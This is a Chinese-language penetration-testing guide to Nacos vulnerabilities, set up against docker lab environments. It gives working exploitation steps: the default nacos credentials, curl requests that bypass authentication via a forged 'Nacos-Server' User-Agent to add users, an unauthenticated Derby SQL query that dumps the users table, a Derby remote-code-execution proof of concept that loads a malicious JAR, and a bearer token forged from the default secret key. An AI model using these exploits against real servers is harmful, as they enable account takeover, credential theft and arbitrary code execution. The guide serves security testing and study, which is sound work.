Nacos
Nacos(Naming and Configuration Service)是由阿里巴巴开源的一款云原生应用配套工具,主要应用于服务发现、配置管理、服务管理等场景,旨在简化微服务架构中的服务治理工作。Nacos 特别适合构建和管理现代云原生应用的微服务架构。
在渗透测试中,可能泄露数据库配置、AK/SK、企业微信配置和业务系统配置等等。

获取版本信息
curl -X GET http://127.0.0.1:8848/nacos/v1/console/server/state
开放端口情况介绍
8848端口:Nacos Web 控制台和 REST API 的默认访问端口,用于 Nacos 的管理界面,可以通过浏览器访问http://<NACOS_SERVER_IP>:8848/nacos来进行服务管理、配置管理、查看注册服务和其它基本操作。7848端口:: Nacos 集群的 TCP 通信端口(一般情况下是用于内部通信)。
默认控制台默认口令
Nacos 的默认用户名和密码均为 nacos。
在 2.2.2 版本之前,Nacos 的默认控制台无论服务端是否开启鉴权,都会显示一个登录页。这一设定导致许多用户误认为 Nacos 默认开启了鉴权。从 2.2.2 版本开始,进行了以下调整:
- 当未开启鉴权时,默认控制台将不再需要登录即可访问。控制台中会显示提示,提醒用户当前集群未开启鉴权。
- 在用户开启鉴权后,控制台才需要进行登录访问。

Nacos User-Agent 权限绕过漏洞(CVE-2021-29441)
该漏洞发生在 Nacos 在进行认证授权操作时,会判断请求的 User-Agent 是否为 "Nacos-Server"。如果是的话,则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。然而,由于配置过于简单,并且将协商好的 User-Agent 设置为 "Nacos-Server" 直接硬编码在了代码里,导致了漏洞的出现。利用这个未授权漏洞,攻击者可以获取到用户名、密码等敏感信息。
受影响版本:<= 2.0.0-ALPHA.1、< 1.4.1
漏洞环境
docker run --name nacos-bypass-auth -e MODE=standalone -e NACOS_AUTH_ENABLE=true -p 8080:8080 -p 8848:8848 -p 9848:9848 -p 7848:7848 -d nacos/nacos-server:1.4.0
漏洞利用
- 添加新用户,用户名和密码均为
vulhub。
curl -X POST -A Nacos-Server "http://192.168.200.1:8848/nacos/v1/auth/users?username=vulhub&password=vulhub"
- 获取用户列表,判断添加用户是否成功。
curl -X GET -A Nacos-Server "http://192.168.200.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=1"
Nacos API derby 未授权访问漏洞(CVE-2021-29442)
若 Nacos 启用了 Derby DB 作为后端的 Storage,则攻击者可直接未授权访问进行 API 操作。
Derby DB 是一种轻量级的开源关系数据库管理系统(RDBMS),由 Apache 软件基金会开发和维护。它以 Java 编写,支持标准的 SQL 查询,并可以嵌入到 Java 应用程序中使用。
受影响版本:<=1.4.0
漏洞环境
cd vulhub/nacos/CVE-2021-29442
docker compose up -d
漏洞利用
/nacos/v1/cs/ops/derby 接口说明:此接口并非 SQL 注入漏洞,而是专为 Derby 数据库运维设计,允许查询数据库数据以辅助问题排查。
curl -X GET http://127.0.0.1:8848/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users

参考资料
Nacos Derby 远程命令执行漏洞(QVD-2024-26473)
这个漏洞实际上可以被视为 CVE-2021-29442 的更深层次利用。在之前的分析中,我们提到 Derby 的未授权 SQL 注入漏洞主要利用了 /derby 这个路由,但该漏洞限制了 SQL 语句必须以 SELECT 开头,这意味着单靠查询语句无法实现远程代码执行(RCE)。
调用 /nacos/v1/cs/ops/data/removal 接口,执行 CALL sqlj.install_jar 加载恶意 JAR 包,攻击者可以动态调用类中的静态方法,从而实现任意代码执行(RCE)。
受影响版本:Nacos <= 2.4.0 BETA
漏洞环境
docker run --rm --name nacos-derby-rce -e MODE=standalone -p 8080:8080 -p 8848:8848 -p 9848:9848 -p 7848:7848 nacos/nacos-server:v2.2.0
漏洞利用
执行POC,-t 参数指定目标地址,-c 参数指定要执行的命令:
python3 poc.py -t http://192.168.200.1:8848 -c "ps aux"

参考资料
- https://ti.qianxin.com/vulnerability/notice-detail/1078
- https://nacos.io/blog/faq/nacos-user-question-history16278/
身份认证绕过漏洞(QVD-2023-6271,CNVD-2023674205)
在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
受影响版本:0.1.0 <= Nacos <= 2.2.0
漏洞环境
docker run --name nacos-default-token-key -e MODE=standalone -e NACOS_AUTH_ENABLE=true -p 8080:8080 -p 8848:8848 -p 9848:9848 nacos/nacos-server:v2.2.0
漏洞利用
在配置文件conf/application.properties 中,
### The default token (Base64 String):
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
利用默认 key 构造 JWT Token,注意修改 exp 中为有效的时间戳,key 的编码格式为base64url。

在请求头中添加 Authorization 字段,如果响应状态码为 200,则 Token 有效,可以登录。
GET /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate HTTP/1.1
Host: 192.168.200.1:8848
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTg1MzI4MzM2NX0.Bl2No8lA91tCloRtelUPEAV_UEt8a1qiJcbyt89BFyQ
拦截登录的请求数据包,添加 Token 后,登录成功。
参考
- https://github.com/alibaba/nacos/releases/tag/2.2.0.1
- https://nacos.io/zh-cn/blog/announcement-token-secret-key.html
Nacos Jraft Hessian 反序列化漏洞(CNVD-2023-45001)
Nacos 默认的 7848 端口用于 Nacos 集群之间的 Raft 协议通信。Raft 是一种用于分布式系统的一致性算法,确保集群中的数据一致性。
在该端口的服务中,当处理部分 Jraft 请求时,会使用 Hessian 进行反序列化。Hessian 是一种高效的二进制序列化协议,广泛应用于 Java 和其他语言之间的数据交互。通过这种方式,Nacos 能够在集群间高效地传递数据,保证服务的高可用性和一致性。
受影响版本:1.4.0 <= Nacos < 1.4.6、2.0.0 <= Nacos < 2.2.3
Nacos 1.x 在单机模式下默认不开放 7848 端口,因此在这种模式下通常不会受到相关漏洞的影响。然而,在集群模式下,7848 端口是开放的,因此可能会受到影响。
与此不同,Nacos 2.x 版本无论是在单机模式还是集群模式下,均默认开放 7848 端口。这意味着在 Nacos 2.x 中,所有模式都有可能受到此漏洞的影响。
漏洞环境
docker run --rm --name nacos-hessian-rce -e MODE=standalone -p 8080:8080 -p 8848:8848 -p 9848:9848 -p 7848:7848 nacos/nacos-server:v2.2.2
漏洞利用
https://github.com/c0olw/NacosRce

参考资料
Nacos Client Yaml 反序列化漏洞分析
https://xz.aliyun.com/news/9803